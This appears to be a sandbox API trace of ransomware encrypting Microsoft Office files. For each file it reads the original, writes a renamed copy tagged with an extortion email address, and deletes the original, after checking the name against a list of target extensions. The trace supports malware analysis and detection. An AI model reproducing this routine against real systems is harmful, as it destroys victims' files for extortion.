	[0184.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0184.999] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.999] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0185.000] GetLastError () returned 0x0
	[0185.000] ReadFile (in: hFile=0x590, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x1b03, lpOverlapped=0x0) returned 1
	[0185.002] WriteFile (in: hFile=0x5b4, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x1b10, lpOverlapped=0x0) returned 1
	[0185.004] ReadFile (in: hFile=0x590, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.004] WriteFile (in: hFile=0x5b4, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.004] SetEndOfFile (hFile=0x5b4) returned 1
	[0185.004] CloseHandle (hObject=0x5b4) returned 1
	[0185.004] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.004] SetEndOfFile (hFile=0x590) returned 1
	[0185.007] CloseHandle (hObject=0x590) returned 1
	[0185.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0185.008] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wnter_01.mid")) returned 1
	[0185.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0185.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0185.009] lstrlenW (lpString=".doc") returned 4
	[0185.009] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0185.009] lstrlenW (lpString=".docx") returned 5
	[0185.009] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0185.009] lstrlenW (lpString=".pdf") returned 4
	[0185.009] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0185.009] lstrlenW (lpString=".xls") returned 4
	[0185.009] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0185.009] lstrlenW (lpString=".xlsx") returned 5
	[0185.009] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0185.009] lstrlenW (lpString=".ppt") returned 4
	[0185.009] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0185.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0185.009] lstrlenW (lpString=".zip") returned 4
	[0185.010] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0185.010] lstrlenW (lpString=".rar") returned 4
	[0185.010] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0185.010] lstrlenW (lpString=".bz2") returned 4
	[0185.010] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0185.010] lstrlenW (lpString=".7z") returned 3
	[0185.010] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0185.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0185.010] lstrlenW (lpString=".dbf") returned 4
	[0185.010] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0185.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0185.012] lstrlenW (lpString=".1cd") returned 4
	[0185.012] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0185.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0185.012] lstrlenW (lpString=".jpg") returned 4
	[0185.012] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0185.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0185.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0185.013] lstrlenW (lpString=".doc") returned 4
	[0185.013] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0185.013] lstrlenW (lpString=".docx") returned 5
	[0185.013] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0185.013] lstrlenW (lpString=".pdf") returned 4
	[0185.013] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0185.013] lstrlenW (lpString=".xls") returned 4
	[0185.013] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0185.013] lstrlenW (lpString=".xlsx") returned 5
	[0185.013] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0185.013] lstrlenW (lpString=".ppt") returned 4
	[0185.013] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0185.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0185.013] lstrlenW (lpString=".zip") returned 4
	[0185.013] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0185.013] lstrlenW (lpString=".rar") returned 4
	[0185.013] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0185.013] lstrlenW (lpString=".bz2") returned 4
	[0185.013] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0185.013] lstrlenW (lpString=".7z") returned 3
	[0185.013] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0185.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0185.013] lstrlenW (lpString=".dbf") returned 4
	[0185.013] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0185.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0185.014] lstrlenW (lpString=".1cd") returned 4
	[0185.014] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0185.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68
	[0185.014] lstrlenW (lpString=".jpg") returned 4
	[0185.014] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0185.014] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1
	[0185.014] lstrlenW (lpString="Glossy.eftx") returned 11
	[0185.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0185.015] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=335038) returned 1
	[0185.015] CloseHandle (hObject=0x590) returned 1
	[0185.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 0x220
	[0185.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0185.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0185.016] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.016] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0185.030] GetLastError () returned 0x0
	[0185.030] ReadFile (in: hFile=0x590, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x51cbe, lpOverlapped=0x0) returned 1
	[0185.476] WriteFile (in: hFile=0x5b8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x51cc0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x51cc0, lpOverlapped=0x0) returned 1
	[0185.688] ReadFile (in: hFile=0x590, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.688] WriteFile (in: hFile=0x5b8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xea, lpOverlapped=0x0) returned 1
	[0185.689] SetEndOfFile (hFile=0x5b8) returned 1
	[0185.689] CloseHandle (hObject=0x5b8) returned 1
	[0185.689] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.689] SetEndOfFile (hFile=0x590) returned 1
	[0185.700] CloseHandle (hObject=0x590) returned 1
	[0185.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0185.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx")) returned 1
	[0185.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0185.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0185.701] lstrlenW (lpString=".doc") returned 4
	[0185.701] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.701] lstrlenW (lpString=".docx") returned 5
	[0185.701] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.701] lstrlenW (lpString=".pdf") returned 4
	[0185.701] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.701] lstrlenW (lpString=".xls") returned 4
	[0185.701] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.701] lstrlenW (lpString=".xlsx") returned 5
	[0185.701] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.701] lstrlenW (lpString=".ppt") returned 4
	[0185.702] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0185.702] lstrlenW (lpString=".zip") returned 4
	[0185.702] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.702] lstrlenW (lpString=".rar") returned 4
	[0185.702] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.702] lstrlenW (lpString=".bz2") returned 4
	[0185.702] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.702] lstrlenW (lpString=".7z") returned 3
	[0185.702] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0185.702] lstrlenW (lpString=".dbf") returned 4
	[0185.702] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0185.702] lstrlenW (lpString=".1cd") returned 4
	[0185.702] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0185.702] lstrlenW (lpString=".jpg") returned 4
	[0185.702] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0185.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0185.702] lstrlenW (lpString=".doc") returned 4
	[0185.702] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0185.702] lstrlenW (lpString=".docx") returned 5
	[0185.702] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0185.702] lstrlenW (lpString=".pdf") returned 4
	[0185.702] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0185.702] lstrlenW (lpString=".xls") returned 4
	[0185.703] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0185.703] lstrlenW (lpString=".xlsx") returned 5
	[0185.703] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0185.703] lstrlenW (lpString=".ppt") returned 4
	[0185.703] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0185.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0185.703] lstrlenW (lpString=".zip") returned 4
	[0185.703] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0185.703] lstrlenW (lpString=".rar") returned 4
	[0185.703] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0185.703] lstrlenW (lpString=".bz2") returned 4
	[0185.703] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0185.703] lstrlenW (lpString=".7z") returned 3
	[0185.703] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0185.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0185.703] lstrlenW (lpString=".dbf") returned 4
	[0185.703] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0185.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0185.703] lstrlenW (lpString=".1cd") returned 4
	[0185.703] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx") returned 83
	[0185.703] lstrlenW (lpString=".jpg") returned 4
	[0185.703] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.703] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1
	[0185.703] lstrlenW (lpString="Reflection.eftx") returned 15
	[0185.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0185.705] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=48366) returned 1
	[0185.705] CloseHandle (hObject=0x590) returned 1
	[0185.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 0x220
	[0185.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0185.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0185.706] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.706] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0185.706] GetLastError () returned 0x0
	[0185.706] ReadFile (in: hFile=0x590, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0xbcee, lpOverlapped=0x0) returned 1
	[0185.710] WriteFile (in: hFile=0x5b8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xbcf0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xbcf0, lpOverlapped=0x0) returned 1
	[0185.712] ReadFile (in: hFile=0x590, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.712] WriteFile (in: hFile=0x5b8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0185.989] SetEndOfFile (hFile=0x5b8) returned 1
	[0185.990] CloseHandle (hObject=0x5b8) returned 1
	[0185.990] SetFilePointerEx (in: hFile=0x590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.990] SetEndOfFile (hFile=0x590) returned 1
	[0185.994] CloseHandle (hObject=0x590) returned 1
	[0185.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0186.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 1
	[0186.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0186.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0186.953] lstrlenW (lpString=".doc") returned 4
	[0186.953] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0186.953] lstrlenW (lpString=".docx") returned 5
	[0186.953] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0186.953] lstrlenW (lpString=".pdf") returned 4
	[0186.953] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0186.954] lstrlenW (lpString=".xls") returned 4
	[0186.954] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0186.954] lstrlenW (lpString=".xlsx") returned 5
	[0186.954] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0186.954] lstrlenW (lpString=".ppt") returned 4
	[0186.954] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0186.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0186.954] lstrlenW (lpString=".zip") returned 4
	[0186.954] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0186.954] lstrlenW (lpString=".rar") returned 4
	[0186.954] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0186.954] lstrlenW (lpString=".bz2") returned 4
	[0186.954] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0186.954] lstrlenW (lpString=".7z") returned 3
	[0186.954] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0186.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0186.954] lstrlenW (lpString=".dbf") returned 4
	[0186.954] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0186.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0186.954] lstrlenW (lpString=".1cd") returned 4
	[0186.954] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0186.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0186.954] lstrlenW (lpString=".jpg") returned 4
	[0186.954] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0186.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0186.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0186.955] lstrlenW (lpString=".doc") returned 4
	[0186.955] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0186.955] lstrlenW (lpString=".docx") returned 5
	[0186.955] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0186.955] lstrlenW (lpString=".pdf") returned 4
	[0186.955] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0186.955] lstrlenW (lpString=".xls") returned 4
	[0186.955] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0186.955] lstrlenW (lpString=".xlsx") returned 5
	[0186.955] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0186.955] lstrlenW (lpString=".ppt") returned 4
	[0186.955] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0186.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0186.955] lstrlenW (lpString=".zip") returned 4
	[0186.955] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0186.955] lstrlenW (lpString=".rar") returned 4
	[0186.955] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0186.955] lstrlenW (lpString=".bz2") returned 4
	[0186.955] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0186.955] lstrlenW (lpString=".7z") returned 3
	[0186.955] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0186.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0186.955] lstrlenW (lpString=".dbf") returned 4
	[0186.955] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0186.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0186.955] lstrlenW (lpString=".1cd") returned 4
	[0186.955] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0186.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87
	[0186.955] lstrlenW (lpString=".jpg") returned 4
	[0186.955] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0186.956] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0186.956] lstrlenW (lpString="AppVPackaging.dll") returned 17
	[0186.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0186.957] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=578264) returned 1
	[0186.957] CloseHandle (hObject=0x5b4) returned 1
	[0186.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll")) returned 0x220
	[0186.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
